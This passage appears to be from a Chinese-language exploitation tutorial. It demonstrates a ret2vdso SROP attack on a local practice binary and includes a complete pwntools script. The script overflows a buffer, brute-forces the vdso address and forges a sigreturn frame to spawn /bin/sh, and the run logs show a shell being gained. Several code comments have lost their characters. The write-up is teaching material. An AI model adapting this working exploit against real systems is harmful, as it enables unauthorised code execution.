    except Exception as e:
        sh.close()
```

当你有了vdso之后，就可以使用里面的指令了，然后再用同样的原理进行SROP。

SROP

```
ex@Ex:~/test$ objdump -T vdso.so

vdso.so:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00001050 g    DF .text    0000000d  LINUX_2.5   __kernel_vsyscall
00000d50 g    DF .text    000002b2  LINUX_2.6   __vdso_gettimeofday
00001070 g    DF .text    00000009  LINUX_2.5   __kernel_sigreturn
00001010 g    DF .text    00000028  LINUX_2.6   __vdso_time
00000000 g    DO *ABS*    00000000  LINUX_2.5   LINUX_2.5
00001080 g    DF .text    00000008  LINUX_2.5   __kernel_rt_sigreturn
00000820 g    DF .text    0000052f  LINUX_2.6   __vdso_clock_gettime
00000000 g    DO *ABS*    00000000  LINUX_2.6   LINUX_2.6
```

我们可以直接使用现成的`__kernel_rt_sigreturn`调用。

getshell脚本

在getshell之前，必须先把vdso.so给读出来，不同的系统vdso.so是不同的。所以我们必须要读出靶机的vdso.so才行。

```
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

context(arch='i386', os='linux')

# context.log_level = 'debug'
elf = ELF("./ret2vdso")

# ■■■■■■■■■■■■■
vdso = ELF("./vdso.so")


str_bin_sh_offset = 0x200
str_bin_sh_addr = elf.symbols['buf'] + str_bin_sh_offset

# 0x080480a5 : int 0x80
int_0x80 = 0x080480a5

# Creating a custom frame
frame = SigreturnFrame(kernel='i386')
frame.eax = constants.SYS_execve
frame.ebx = str_bin_sh_addr
frame.ecx = 0
frame.edx = 0
frame.eip = int_0x80

# ■■■■■■■■■■■■■■■crash
frame.cs = 35
frame.ss = 43
```

```
frame.ds = 43
frame.es = 43
frame.gs = 0
frame.fs = 0

RANGE_VDSO  = range(0xf7ed0000, 0xf7fd0000, 0x1000)
# RANGE_VDSO  = range(0xf76d9000, 0xf77ce000, 0x1000)

sh = None

while(True):
   sh = process("./ret2vdso")

   vdso_addr = random.choice(RANGE_VDSO)

   payload = 'a'*128 + p32(0) + \
           p32(vdso_addr + vdso.symbols['__kernel_rt_sigreturn']) + \
           'c' * 40 * 4 + str(frame) # ■■■■■■■■■■■■■ 160 ■■■■■■■■

   payload = payload.ljust(str_bin_sh_offset, '\x00') + '/bin/sh\x00'

   sh.send(payload)

   sh.recvuntil('/bin/sh\x00')
   sh.sendline('echo hello')

   result = ''
   # ■■■■■■ recvall ■■■■■■■■■shell■■■crash
   try:
       result = sh.recv()
   except Exception as e:
       pass

   if(len(result) != 0):
       log.success("Success")
       sh.interactive()
       exit(0)

   sh.close()
```

上面有几点我需要重点提一下。

第一点：

frame 在 32 位的时候一定要 kernel='i386' ，而且 cs、ds、ss、es的值一定要正确，否则会crash。

第二点：

recvall 极易导致 EOFerror，建议不要使用，否则，即使得到了shell，也会crash

第三点：

对于payload中，为什么要偏移'c' 40 4，这个我也不是很清楚，都是调试出来的。

运行实例：

```
ex@Ex:~/test$ python2 getshell.py
[*] '/home/ex/test/ret2vdso'
   Arch:     i386-32-little
   RELRO:    No RELRO
   Stack:    No canary found
   NX:       NX enabled
   PIE:      No PIE (0x8048000)
[!] Did not find any GOT entries
[*] '/home/ex/test/vdso.so'
   Arch:     i386-32-little
   RELRO:    No RELRO
   Stack:    No canary found
   NX:       NX enabled
   PIE:      PIE enabled
```

```
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31629)
[+] Starting local process './ret2vdso': pid 31633
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31633)
[+] Starting local process './ret2vdso': pid 31636
[*] Process './ret2vdso' stopped with exit code -11 (SIGSEGV) (pid 31636)
[+] Starting local process './ret2vdso': pid 31639
[+] Success
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wires
$
```

总结

又踩了不少坑，或许坑踩多了，就习惯了吧。

ret2vdso.zip (0.023 MB) 下载附件

上一篇：某开源企业站CMS审计报告 下一篇：Linux病毒技术之Silvio填充感染

1. 0 条回复
   - 动动手指，沙发就是你的了！